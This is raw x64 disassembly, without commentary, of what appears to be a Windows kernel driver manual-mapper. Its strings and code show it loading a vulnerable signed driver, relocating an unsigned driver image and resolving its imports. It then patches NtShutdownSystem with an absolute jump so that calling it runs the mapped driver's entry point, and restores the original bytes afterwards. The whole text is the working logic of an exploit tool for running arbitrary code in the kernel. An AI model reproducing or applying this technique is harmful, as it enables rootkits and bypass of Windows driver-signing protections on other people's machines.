lea r9, [rbx + 0x10]
mov r8d, r15d
cmp dword [r9], 0
jbe 0x1400096d2
mov r15d, 0xfff
nop
mov ecx, r8d
mov rax, qword [r9 - 8]
movzx edx, word [rax + rcx*2]
movzx eax, dx
shr ax, 0xc
and dx, r15w
cmp ax, 0xa
jne 0x1400096c7
movzx ecx, dx
mov rax, qword [r9 - 0x10]
add qword [rax + rcx], rdi
inc r8d
cmp r8d, dword [r9]
jb 0x1400096a0
xor r15d, r15d
add r9, 0x18
lea rax, [r9 - 0x10]
cmp rax, r10
jne 0x140009690
test rbx, rbx
je 0x14000973a
sub r11, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul r11
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x140009732
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009732
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400100e0
mov rbx, qword [rsp + 0x48]
mov rdx, r14
lea rcx, [rbp + 0xb0]
call fcn.140001d20
mov rcx, rax
call fcn.140001950
test al, al
jne 0x1400097e0
lea rcx, str.____failed_to_resolve_imports_n
call fcn.140001260
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x198]
call fcn.140002320
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14000979f
mov rcx, rbx
call fcn.140006800
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140009137
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009132
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x14000912f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8d, dword [rbx + 0x54]
xor edx, edx
mov rcx, r14
call sub.VCRUNTIME140.dll_memset
mov r9, r12
mov r8, r14
mov rdx, rsi
lea rcx, [rbp + 0x80]
call fcn.14000ddd0
mov ebx, dword [rbx + 0x28]
add rbx, rsi
mov rdx, rbx
lea rcx, str._n___mapped_entry_point___p__n
call fcn.140001260
mov rax, qword [rsp + 0x48]
mov edi, dword [rax + 0x50]
mov eax, dword [r13]
cmp dword [0x140025c8c], eax
jle 0x140009871
lea rcx, [0x140025c8c]
call fcn.140010530
cmp dword [0x140025c8c], 0xffffffff
jne 0x140009871
lea rcx, [0x14001fa98]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140025ca0], rax
lea rcx, [0x140025c8c]
call fcn.1400104d0
mov eax, dword [r13]
cmp dword [0x140025c84], eax
jle 0x1400098bc
lea rcx, [0x140025c84]
call fcn.140010530
cmp dword [0x140025c84], 0xffffffff
jne 0x1400098bc
mov edx, 2
lea rcx, [0x140025cb0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140011cb0]
call fcn.14001035c
lea rcx, [0x140025c84]
call fcn.1400104d0
lea rcx, [0x140025cb0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x1400098d6
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov dword [rsp + 0x50], 0x25ff
mov word [rsp + 0x54], 0
mov qword [rsp + 0x56], rbx
mov rcx, qword [0x140025bf8]
mov r8d, 0xe
lea rdx, [rbp + 0x20]
call fcn.140006d80
mov rcx, qword [0x140025bf8]
mov r8d, 0xe
lea rdx, [rsp + 0x50]
call fcn.140006f20
mov rax, qword [0x140025ca0]
mov rdx, rdi
mov rcx, rsi
call rax
mov ebx, eax
mov rcx, qword [0x140025bf8]
mov r8d, 0xe
lea rdx, [rbp + 0x20]
call fcn.140006f20
lea rcx, [0x140025cb0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov edx, ebx
lea rcx, str.___driver_entry_returned__0x_x__n
call fcn.140001260
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a0]
call fcn.140002320
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140009996
mov rcx, rbx
call fcn.140006800
test al, al
je 0x140009996
mov dil, 1
jmp 0x140009999
xor dil, dil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400099cf
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400099ca
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400099ec
mov rcx, r8
call fcn.1400100e0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
test dil, dil
jne 0x1400099f3
lea rcx, str.____unable_to_unload_vulnerable_driver_n
jmp 0x1400099ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r13d, r15d
jmp 0x140009a0b
lea rcx, str.____unable_to_load_vulnerable_driver_n
call fcn.140001260
mov r13, 0xffffffffffffffff
mov rdx, qword [rbp + 0x220]
cmp rdx, 0x10
jb 0x140009a4f
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff30]
movdqu xmmword [rbp + 0x218], xmm0
mov byte [rbp + 0x208], 0
jmp 0x140009aab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, str.____failed_to_sig_scan_pte_functions_n
call fcn.140001260
mov r13, 0xffffffffffffffff
jmp 0x140009aab
lea rdx, [rbp + 0x270]
cmp qword [rbp + 0x288], 0x10
cmovae rdx, qword [rbp + 0x270]
mov r8d, r15d
lea rcx, str.____failed_to_load___s___0x_x__n
call fcn.140001260
nop
lea rcx, [rbp + 0x250]
call fcn.140006470
nop
lea rcx, [rbp + 0x150]
call fcn.14000a8d0
nop
lea rcx, [rbp + 0x400]
call fcn.140006520
mov eax, r13d
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.1400100c0
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rsp + 0x68]
mov edx, eax
lea rcx, str.absolute
call fcn.140004c50
nop
lea r8, [rbp - 0x28]
mov edx, eax
lea rcx, str.absolute
call fcn.140004c50
int3